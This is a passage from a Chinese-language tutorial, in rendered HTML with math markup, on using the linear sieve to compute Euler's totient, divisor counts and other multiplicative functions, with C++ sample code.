class="mclose">)</span></span></span></span>之前算出來。</p><h2 id="%E7%A8%8B%E5%BC%8F%E5%AF%A6%E4%BD%9C" tabindex="-1" id="程式實作">程式實作</h2><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span>std<span class="token double-colon punctuation">::</span>vector<span class="token operator">&lt;</span><span class="token keyword">int</span><span class="token operator">></span> prime<span class="token punctuation">;</span><span class="token keyword">bool</span> not_prime<span class="token punctuation">[</span>N<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">int</span> phi<span class="token punctuation">[</span>N<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">void</span> <span class="token function">pre</span><span class="token punctuation">(</span><span class="token keyword">int</span> n<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  phi<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">;</span> i<span class="token operator">&lt;=</span>n<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>not_prime<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        prime<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span>        phi<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> i<span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span> <span class="token comment">// 新增</span>  <span class="token punctuation">&#125;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> p <span class="token operator">:</span> prime<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>i<span class="token operator">*</span>p <span class="token operator">></span> n<span class="token punctuation">)</span> <span class="token keyword">break</span><span class="token punctuation">;</span>      not_prime<span class="token punctuation">[</span>i<span class="token operator">*</span>p<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>i<span class="token operator">%</span>p <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        phi<span class="token punctuation">[</span>i<span class="token operator">*</span>p<span class="token punctuation">]</span> <span class="token operator">=</span> p<span class="token operator">*</span>phi<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// 新增</span>        <span class="token keyword">break</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      phi<span class="token punctuation">[</span>i<span class="token operator">*</span>p<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span>p<span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">*</span>phi<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// 新增</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h1 id="%E7%B7%9A%E6%80%A7%E7%AF%A9%E6%B1%82%E6%AD%A3%E5%9B%A0%E6%95%B8%E5%80%8B%E6%95%B8" tabindex="-1">線性篩求正因數個數</h1><h2 id="%E8%AA%AA%E6%98%8E" tabindex="-1" id="說明">說明</h2><p>用類似的分析方法，這次我們維護三個陣列：<code>not_prime</code>、<code>num</code>、<code>d</code>，其中<code>num</code>紀錄<code>num[k]</code>表示<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>的最小質因數在<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>的標準分解式的次數，<code>d[k]</code>表示<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>的正因數個數。</p><ol><li>對於質數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mi>u</mi><mi>m</mi><mo stretchy="false">(</mo><mi>p</mi><mo stretchy="false">)</mo><mo>=</mo><mn>1</mn><mo separator="true">,</mo><mi>d</mi><mo stretchy="false">(</mo><mi>p</mi><mo stretchy="false">)</mo><mo>=</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">num(p) = 1, d(p) = 2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mord mathnormal">u</span><span class="mord mathnormal">m</span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span></li><li>對於合數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><msub><mi>p</mi><mi>n</mi></msub><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">n=p_nn^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9463em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>，其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex">p_n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>的最小質因數<ol><li>若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>n</mi></msub><mo>∣</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">p_n \mid n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∣</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>，則<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mi>u</mi><mi>m</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo><mo>=</mo><mi>n</mi><mi>u</mi><mi>m</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">num(n)=num(n^\prime)+1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mord mathnormal">u</span><span class="mord mathnormal">m</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mord mathnormal">u</span><span class="mord mathnormal">m</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo><mo>=</mo><mi>d</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo><mfrac><mrow><mi>n</mi><mi>u</mi><mi>m</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo><mo>+</mo><mn>1</mn></mrow><mrow><mi>n</mi><mi>u</mi><mi>m</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo><mo>+</mo><mn>1</mn></mrow></mfrac></mrow><annotation encoding="application/x-tex">d(n)=d(n^\prime)\frac{num(n)+1}{num(n^\prime)+1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.53em;vertical-align:-0.52em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.01em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">m</span><span class="mopen mtight">(</span><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6828em;"><span style="top:-2.786em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose mtight">)</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.485em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">m</span><span class="mopen mtight">(</span><span class="mord mathnormal mtight">n</span><span class="mclose mtight">)</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.52em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></li><li>若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>n</mi></msub><mo>∤</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">p_n \nmid n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9925em;vertical-align:-0.2514em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel amsrm">∤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>，則<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mi>u</mi><mi>m</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">num(n)=1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mord mathnormal">u</span><span class="mord mathnormal">m</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo><mo>=</mo><mi>d</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo><mo stretchy="false">(</mo><mi>n</mi><mi>u</mi><mi>m</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo><mo>+</mo><mn>1</mn><mo stretchy="false">)</mo><mo>=</mo><mn>2</mn><mi>d</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">d(n)=d(n^\prime)(num(n)+1)=2d(n^\prime)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mord mathnormal">u</span><span class="mord mathnormal">m</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord">2</span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></li></ol></li></ol><h2 id="%E7%A8%8B%E5%BC%8F" tabindex="-1" id="程式">程式</h2><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span>std<span class="token double-colon punctuation">::</span>vector<span class="token operator">&lt;</span><span class="token keyword">int</span><span class="token operator">></span> prime<span class="token punctuation">;</span><span class="token keyword">bool</span> not_prime<span class="token punctuation">[</span>N<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">int</span> num<span class="token punctuation">[</span>N<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">int</span> d<span class="token punctuation">[</span>N<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">void</span> <span class="token function">pre</span><span class="token punctuation">(</span><span class="token keyword">int</span> n<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  d<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">;</span> i<span class="token operator">&lt;=</span>n<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>not_prime<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        prime<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span>        d<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span>        num<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> p <span class="token operator">:</span> prime<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>i<span class="token operator">*</span>p <span class="token operator">></span> n<span class="token punctuation">)</span> <span class="token keyword">break</span><span class="token punctuation">;</span>      not_prime<span class="token punctuation">[</span>i<span class="token operator">*</span>p<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>i<span class="token operator">%</span>p <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        num<span class="token punctuation">[</span>i<span class="token operator">*</span>p<span class="token punctuation">]</span> <span class="token operator">=</span> num<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span>        d<span class="token punctuation">[</span>i<span class="token operator">*</span>p<span class="token punctuation">]</span> <span class="token operator">=</span> d<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token operator">*</span><span class="token punctuation">(</span>num<span class="token punctuation">[</span>i<span class="token operator">*</span>p<span class="token punctuation">]</span><span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">/</span><span class="token punctuation">(</span>num<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">break</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      num<span class="token punctuation">[</span>i<span class="token operator">*</span>p<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>      d<span class="token punctuation">[</span>i<span class="token operator">*</span>p<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">2</span><span class="token operator">*</span>d<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h1 id="%E7%B7%9A%E6%80%A7%E7%AF%A9%E6%B1%82%E7%A9%8D%E6%80%A7%E5%87%BD%E6%95%B8" tabindex="-1">線性篩求積性函數</h1><p>從上面兩個例子，我們其實可以將其推廣到更多的積性函數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f(x)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span>(如正因數和、莫比烏斯函數等)，分析步驟如下：</p><ol><li>考慮怎麼算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mi>p</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f(p)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span>，其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>為質數</li><li>考慮將合數拆解成<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><msub><mi>p</mi><mi>n</mi></msub><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">n=p_nn^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9463em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>，其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex">p_n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>的最小質因數，怎麼在已知<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo 